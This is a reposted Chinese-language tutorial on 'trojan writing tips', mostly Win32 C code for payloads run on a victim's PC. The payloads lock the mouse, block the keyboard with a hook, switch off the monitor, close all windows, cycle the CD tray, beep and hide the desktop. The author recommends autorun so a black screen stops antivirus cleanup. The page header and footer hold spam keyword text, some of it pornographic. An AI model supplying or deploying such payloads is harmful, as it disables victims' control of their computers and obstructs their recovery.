国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 學院 > 開發設計 > 正文

木馬編寫小技巧(轉)

2019-11-06 06:05:19
字體:
來源:轉載
供稿:網友

1.鎖定鼠標:

這個功能很簡單只要一個ClipCursor()就可以搞定了看看下面的小程序[cpp] view plain copy PRint?#include <stdio.h>  #include <windows.h>  int main(int argc, char* argv[])  {   printf("/n別害怕15妙后你的鼠標就可以使用了^_^/n");   RECT rect;   rect.bottom=1;   rect.right=1;    ClipCursor(&rect);   ::Sleep(15000);   ClipCursor(NULL);//釋放   return 0;  }    注:本文于06/12月于黑客防線發表版權歸黑客防線所有,轉載請注明出處rect是一個結構,表示鎖定的范圍我們通常只用 bottom和right兩個域

2.鎖定鍵盤:

鎖鍵盤一般用鉤子實現,所以難度稍大,不過下面這個程序當簡單,而且連鉤子所需要DLL也省了[cpp] view plain copy print?#include <stdio.h>  #include <windows.h>  //處理按鍵消息的過程函數  LRESULT CALLBACK keyproc( int code,      WPARAM wParam,      LPARAM lParam )  {      return 1;//返回1可使鍵盤停止響應  }   main(int argc, char* argv[])  {          SetWindowsHookEx(WH_KEYBOARD,keyproc,GetModuleHandle(NULL),0);//安裝鍵盤鉤子      printf("/n/n/n程序將在15妙之后返回...嘿嘿15妙內你的鍵盤是無法工作的哦/n");      ::Sleep(15000);  }    注:本文于06/12月于黑客防線發表版權歸黑客防線所有,轉載請注明出處上面的代碼是參考了6期“全局鉤子”和7期“楚茗”的文章寫成的,使用鉤子而無DLL的關鍵就在于GetModuleHandle(NULL),GetModuleHandle()參數為NULL得到的是調用者本身的模塊句柄,也就是說用程序本身作為DLL。因為是console程序,所以隨著程序的結束鉤子也就OVER了,所以我并沒有卸載鉤子。鉤子果然是強大,學會使用鉤子你的水平就不一般了^_^.

3.關閉顯視器

這個也是相當簡單的看看代碼:[cpp] view plain copy print?#include <windows.h>      int APIENTRY WinMain(HINSTANCE hInstance,      HINSTANCE hPrevInstance,      LPSTR     lpCmdLine,      int       nCmdShow)  {      SendMessage(FindWindow(0,0),WM_SYSCOMMAND,SC_MONITORPOWER,2);//關閉      ::Sleep(10000);      SendMessage(FindWindow(0,0),WM_SYSCOMMAND,SC_MONITORPOWER,-1);//打開          return 0;  }  要是你夠毒的話可以讓它自動運行,開機就黑屏,任你殺毒水平再高,沒有顯示器看你怎么殺…….嘿嘿

4.關閉所有窗口

原理是枚舉所有窗口句柄,然后發送WM_CLOSE消息來關閉窗口,效果蠻好就差沒重起[cpp] view plain copy print?#include <windows.h>  BOOL CALLBACK EnumWindowsProc(HWND hwnd,LPARAM IParam);  int APIENTRY WinMain(HINSTANCE hInstance,      HINSTANCE hPrevInstance,      LPSTR     lpCmdLine,      int       nCmdShow)  {      EnumWindows(EnumWindowsProc,0);//將窗口句柄傳給回調函數處理      return 0;  }      BOOL CALLBACK EnumWindowsProc(HWND hwnd,LPARAM IParam)//回調函數  {      ::PostMessage(hwnd,WM_CLOSE,0,0);//結束窗口      return (true);//返回FALSE時EnumWindows結束  }  程序用EnumWindows()枚舉所有窗口并把窗口句柄傳給回調函數EnumWindowsProc,而回調函數的任務就是CLOSE!,呵呵

5.鎖定光驅

其實說讓“光驅跳舞”更合適,以下的程序可以打開并關閉光驅[cpp] view plain copy print?#include <mmsystem.h>//注意加入頭文件  int APIENTRY WinMain(HINSTANCE hInstance,      HINSTANCE hPrevInstance,      LPSTR     lpCmdLine,      int       nCmdShow)  {      ::mciSendString("set cdaudio door open",NULL,0,NULL);//打開      ::mciSendString("set cdaudio door closed wait",NULL,0,NULL);//關閉      return 0;  }  //注意在 工程-設置-LINK中加入庫文件名winmm.lib如果你弄個死循環,就可以讓他的光驅好好活動活動了^_^

6.制造噪音

大多時候我們要隱藏自己,但有時候我們就需要給對方放點音樂,小小的“提示”一下以證明我們的存在[cpp] view plain copy print?#include<windows.h>  main()  {      for(int j=450;j<500;j++)      {          for(int i=1000;i<1110;i++)          {              Beep(i,30);              ::Sleep(100);          }      }      }  關鍵就是一個Beep()第一個參數為赫茲第二個為音長你可以自己試一下,弄點好聽的。

7.隱藏桌面

其實桌面與任務欄也是一種窗口,我們可以通過FindWindow來查找它們的句柄,然后通過ShowWindow()來隱藏或顯視,其中桌面類名為ProgMan任務欄類名為Shell_TrayWnd。 [cpp] view plain copy print?#include <stdio.h>  #include <windows.h>  int main(int argc, char* argv[])  {      HWND disk,mask;      disk=FindWindow("ProgMan",NULL);      mask=FindWindow("Shell_TrayWnd",NULL);      ShowWindow(mask,SW_HIDE);//隱藏任務欄      ShowWindow(disk,SW_HIDE);//隱藏桌面      printf("/n15妙后會自動出現桌面 請等待...../n");      Sleep(15000);      ShowWindow(mask,SW_SHOW);//顯示      ShowWindow(disk,SW_SHOW);//顯示      return 0;  }  
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 永新县| 铁岭市| 通辽市| 阿合奇县| 容城县| 横山县| 丹江口市| 原阳县| 扎赉特旗| 上高县| 南京市| 云霄县| 县级市| 综艺| 庆阳市| 罗江县| 西畴县| 万全县| 绥宁县| 南通市| 永州市| 临夏县| 集贤县| 威信县| 遵化市| 顺昌县| 民权县| 九江县| 宁国市| 巫山县| 六枝特区| 石城县| 宁蒗| 萝北县| 馆陶县| 普格县| 灵石县| 青田县| 雅安市| 宜春市| 昌吉市|